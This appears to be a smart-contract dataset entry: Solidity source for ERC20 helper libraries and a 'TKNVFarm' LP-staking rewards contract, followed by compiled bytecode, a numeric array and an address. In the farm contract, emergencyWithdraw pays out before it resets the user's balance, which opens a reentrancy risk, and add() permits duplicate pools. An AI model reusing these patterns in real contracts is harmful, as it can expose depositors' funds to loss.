_balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract TKNVFarm is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of TKNV // entitled to a user but is pending to be distributed is: // // pending reward = (userInfo.amount * pool.accTKNVPerShare) - userInfo.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's accTKNVPerShare (and lastRewardBlock) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's amount gets updated. // 4. User's rewardDebt gets updated. } // Info of each pool. struct PoolInfo { IERC20 token; // Address of token or LP contract uint256 allocPoint; // How many allocation points assigned to this pool. TKNV to distribute per block. uint256 lastRewardBlock; // Last block number that TKNV distribution occurs. uint256 accTKNVPerShare; // Accumulated TKNV per share, times 1e12. See below. } // Total allocation points. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when TKNV mining starts -> // max reward block uint256 public maxRewardBlockNumber; // rewad per block in wei uint256 public rewardPerBlock; // Accumulated TKNV per share, times 1e12. uint256 public accTKNVPerShareMultiple = 1E12; // The TKNV token! IERC20 public tknv; // Info on each pool added PoolInfo[] public poolInfo; // Info of each user that stakes tokens. mapping(uint256 => mapping(address => UserInfo)) public userInfo; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw( address indexed user, uint256 indexed pid, uint256 amount ); constructor( IERC20 _tknv, uint256 _rewardPerBlock, uint256 _maxRewardBlockNumber ) public { tknv = _tknv; rewardPerBlock = _rewardPerBlock; maxRewardBlockNumber = _maxRewardBlockNumber; } // Pool Length function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new token or LP to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do! function add( uint256 _allocPoint, IERC20 _token, // lp token address bool _withUpdate ) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push( PoolInfo({ token: _token, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accTKNVPerShare: 0 }) ); } // Update the given pool's TKNV allocation point. Can only be called by the owner. function set( uint256 _pid, uint256 _allocPoint, bool _withUpdate ) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add( _allocPoint ); poolInfo[_pid].allocPoint = _allocPoint; } // View function to see pending TKNV on frontend. // function pendingTKNV(uint256 _pid, address _user) // external // view // returns (uint256) // { // PoolInfo storage pool = poolInfo[_pid]; // UserInfo storage user = userInfo[_pid][_user]; // uint256 accTKNVPerShare = pool.accTKNVPerShare; // uint256 lpSupply = pool.token.balanceOf(address(this)); // if ( // block.number > pool.lastRewardBlock && // lpSupply != 0 && // pool.lastRewardBlock < maxRewardBlockNumber // ) { // uint256 totalReward = // getTotalRewardInfo(pool.lastRewardBlock, block.number); // uint256 tknvReward = // totalReward.mul(pool.allocPoint).div(totalAllocPoint); // accTKNVPerShare = accTKNVPerShare.add( // tknvReward.mul(accTKNVPerShareMultiple).div(lpSupply) // ); // } // return // user.amount.mul(accTKNVPerShare).div(accTKNVPerShareMultiple).sub( // user.rewardDebt // ); // } // Update reward vairables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.token.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } if (pool.lastRewardBlock >= maxRewardBlockNumber) { return; } uint256 totalReward = (block.number.sub(pool.lastRewardBlock)).mul(rewardPerBlock); uint256 tknvReward = totalReward.mul(pool.allocPoint).div(totalAllocPoint); // tknv.mintTo(address(this), tknvReward); pool.accTKNVPerShare = pool.accTKNVPerShare.add( tknvReward.mul(accTKNVPerShareMultiple).div(lpSupply) ); pool.lastRewardBlock = block.number; } // Deposit tokens to TKNVFarmTest for TKNV allocation. function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user .amount .mul(pool.accTKNVPerShare) .div(accTKNVPerShareMultiple) .sub(user.rewardDebt); if (pending > 0) { safeTKNVTransfer(msg.sender, pending); } } pool.token.safeTransferFrom( address(msg.sender), address(this), _amount ); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accTKNVPerShare).div( accTKNVPerShareMultiple ); emit Deposit(msg.sender, _pid, _amount); } // Withdraw tokens from TKNVFarmTest function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user .amount .mul(pool.accTKNVPerShare) .div(accTKNVPerShareMultiple) .sub(user.rewardDebt); if (pending > 0) { safeTKNVTransfer(msg.sender, pending); } if (_amount > 0) { user.amount = user.amount.sub(_amount); pool.token.safeTransfer(address(msg.sender), _amount); } user.rewardDebt = user.amount.mul(pool.accTKNVPerShare).div( accTKNVPerShareMultiple ); emit Withdraw(msg.sender, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; pool.token.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; } // Safe tknv transfer function, just in case if rounding error causes pool to not have enough $TKNV function safeTKNVTransfer(address _to, uint256 _amount) internal { uint256 tknvBal = tknv.balanceOf(address(this)); if (_amount > tknvBal) { tknv.transfer(_to, tknvBal); } else { tknv.transfer(_to, _amount); } } }
0x608060405234801561001057600080fd5b5060043610610133576000357c01000000000000000000000000000000000000000000000000000000009004806364482f79116100bf57806393f1a40b1161008e57806393f1a40b146103ef5780639997c57b14610458578063a5f8d4e614610476578063e2bbb15814610494578063f2fde38b146104cc57610133565b806364482f7914610339578063715018a61461037d5780638ae39cac146103875780638da5cb5b146103a557610133565b806337bf26851161010657806337bf268514610251578063441a3e701461029b57806351eb05a6146102d35780635312ea8e14610301578063630b5ba11461032f57610133565b8063081e3eda146101385780631526fe271461015657806317caf6f1146101d95780631eaaa045146101f7575b600080fd5b610140610510565b6040518082815260200191505060405180910390f35b6101826004803603602081101561016c57600080fd5b810190808035906020019092919050505061051d565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200183815260200182815260200194505050505060405180910390f35b6101e161057a565b6040518082815260200191505060405180910390f35b61024f6004803603606081101561020d57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610580565b005b610259610748565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102d1600480360360408110156102b157600080fd5b81019080803590602001909291908035906020019092919050505061076e565b005b6102ff600480360360208110156102e957600080fd5b81019080803590602001909291905050506109c6565b005b61032d6004803603602081101561031757600080fd5b8101908080359060200190929190505050610bd3565b005b610337610d05565b005b61037b6004803603606081101561034f57600080fd5b810190808035906020019092919080359060200190929190803515159060200190929190505050610d35565b005b610385610e80565b005b61038f611008565b6040518082815260200191505060405180910390f35b6103ad61100e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61043b6004803603604081101561040557600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611037565b604051808381526020018281526020019250505060405180910390f35b610460611068565b6040518082815260200191505060405180910390f35b61047e61106e565b6040518082815260200191505060405180910390f35b6104ca600480360360408110156104aa57600080fd5b810190808035906020019092919080359060200190929190505050611074565b005b61050e600480360360208110156104e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611258565b005b6000600680549050905090565b6006818154811061052a57fe5b90600052602060002090600402016000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010154908060020154908060030154905084565b60015481565b610588611465565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610649576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b801561065857610657610d05565b5b60004390506106728460015461146d90919063ffffffff16565b600181905550600660405180608001604052808573ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018381526020016000815250908060018154018082558091505060019003906000526020600020906004020160009091909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002015560608201518160030155505050505050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006006838154811061077d57fe5b9060005260206000209060040201905060006007600085815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050828160000154101561085b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f77697468647261773a206e6f7420676f6f64000000000000000000000000000081525060200191505060405180910390fd5b610864846109c6565b60006108ab826001015461089d60045461088f876003015487600001546114f590919063ffffffff16565b61157b90919063ffffffff16565b6115c590919063ffffffff16565b905060008111156108c1576108c0338261160f565b5b6000841115610939576108e18483600001546115c590919063ffffffff16565b826000018190555061093833858560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661191e9092919063ffffffff16565b5b61096860045461095a856003015485600001546114f590919063ffffffff16565b61157b90919063ffffffff16565b8260010181905550843373ffffffffffffffffffffffffffffffffffffffff167ff279e6a1f5e320cca91135676d9cb6e44ca8a08c0b88342bcdb1144f6511b568866040518082815260200191505060405180910390a35050505050565b6000600682815481106109d557fe5b90600052602060002090600402019050806002015443116109f65750610bd0565b60008160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610ab557600080fd5b505afa158015610ac9573d6000803e3d6000fd5b505050506040513d6020811015610adf57600080fd5b810190808051906020019092919050505090506000811415610b0b574382600201819055505050610bd0565b600254826002015410610b1f575050610bd0565b6000610b4c600354610b3e8560020154436115c590919063ffffffff16565b6114f590919063ffffffff16565b90506000610b7b600154610b6d8660010154856114f590919063ffffffff16565b61157b90919063ffffffff16565b9050610bba610ba784610b99600454856114f590919063ffffffff16565b61157b90919063ffffffff16565b856003015461146d90919063ffffffff16565b8460030181905550438460020181905550505050505b50565b600060068281548110610be257fe5b9060005260206000209060040201905060006007600084815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050610c993382600001548460000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661191e9092919063ffffffff16565b823373ffffffffffffffffffffffffffffffffffffffff167fbb757047c2b5f3974fe26b7c10f732e7bce710b0952a71082702781e62ae059583600001546040518082815260200191505060405180910390a36000816000018190555060008160010181905550505050565b6000600680549050905060008090505b81811015610d3157610d26816109c6565b806001019050610d15565b5050565b610d3d611465565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dfe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8015610e0d57610e0c610d05565b5b610e5282610e4460068681548110610e2157fe5b9060005260206000209060040201600101546001546115c590919063ffffffff16565b61146d90919063ffffffff16565b6001819055508160068481548110610e6657fe5b906000526020600020906004020160010181905550505050565b610e88611465565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f49576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6007602052816000526040600020602052806000526040600020600091509150508060000154908060010154905082565b60045481565b60025481565b60006006838154811061108357fe5b9060005260206000209060040201905060006007600085815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090506110f0846109c6565b60008160000154111561115c5760006111448260010154611136600454611128876003015487600001546114f590919063ffffffff16565b61157b90919063ffffffff16565b6115c590919063ffffffff16565b9050600081111561115a57611159338261160f565b5b505b6111ad3330858560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166119f2909392919063ffffffff16565b6111c483826000015461146d90919063ffffffff16565b81600001819055506111fb6004546111ed846003015484600001546114f590919063ffffffff16565b61157b90919063ffffffff16565b8160010181905550833373ffffffffffffffffffffffffffffffffffffffff167f90890809c654f11d6e72a28fa60149770a0d11ec6c92319d6ceb2bb0a4ea1a15856040518082815260200191505060405180910390a350505050565b611260611465565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611321576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113a7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806120286026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b6000808284019050838110156114eb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000808314156115085760009050611575565b600082840290508284828161151957fe5b0414611570576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806120746021913960400191505060405180910390fd5b809150505b92915050565b60006115bd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611afb565b905092915050565b600061160783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611bc1565b905092915050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156116cc57600080fd5b505afa1580156116e0573d6000803e3d6000fd5b505050506040513d60208110156116f657600080fd5b810190808051906020019092919050505090508082111561181757600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156117d657600080fd5b505af11580156117ea573d6000803e3d6000fd5b505050506040513d602081101561180057600080fd5b810190808051906020019092919050505050611919565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156118dc57600080fd5b505af11580156118f0573d6000803e3d6000fd5b505050506040513d602081101561190657600080fd5b8101908080519060200190929190505050505b505050565b6119ed8363a9059cbb7c0100000000000000000000000000000000000000000000000000000000028484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050611c81565b505050565b611af5846323b872dd7c010000000000000000000000000000000000000000000000000000000002858585604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050611c81565b50505050565b60008083118290611ba7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611b6c578082015181840152602081019050611b51565b50505050905090810190601f168015611b995780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611bb357fe5b049050809150509392505050565b6000838311158290611c6e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611c33578082015181840152602081019050611c18565b50505050905090810190601f168015611c605780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6060611ce3826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff16611d709092919063ffffffff16565b9050600081511115611d6b57808060200190516020811015611d0457600080fd5b8101908080519060200190929190505050611d6a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180612095602a913960400191505060405180910390fd5b5b505050565b6060611d7f8484600085611d88565b90509392505050565b6060823073ffffffffffffffffffffffffffffffffffffffff16311015611dfa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061204e6026913960400191505060405180910390fd5b611e0385611f48565b611e75576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000081525060200191505060405180910390fd5b600060608673ffffffffffffffffffffffffffffffffffffffff1685876040518082805190602001908083835b60208310611ec55780518252602082019150602081019050602083039250611ea2565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114611f27576040519150601f19603f3d011682016040523d82523d6000602084013e611f2c565b606091505b5091509150611f3c828286611f5b565b92505050949350505050565b600080823b905060008111915050919050565b60608315611f6b57829050612020565b600083511115611f7e5782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611fe5578082015181840152602081019050611fca565b50505050905090810190601f1680156120125780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a26469706673582212204e5e447dd13af5f607b20698bd4f9f96ba481dd0e57742ff9e171d4ef590829b64736f6c634300060b0033
[ 16, 4, 9, 7 ]
0xf30aa0bed30faa7b5b6b90943c414480272a65c1
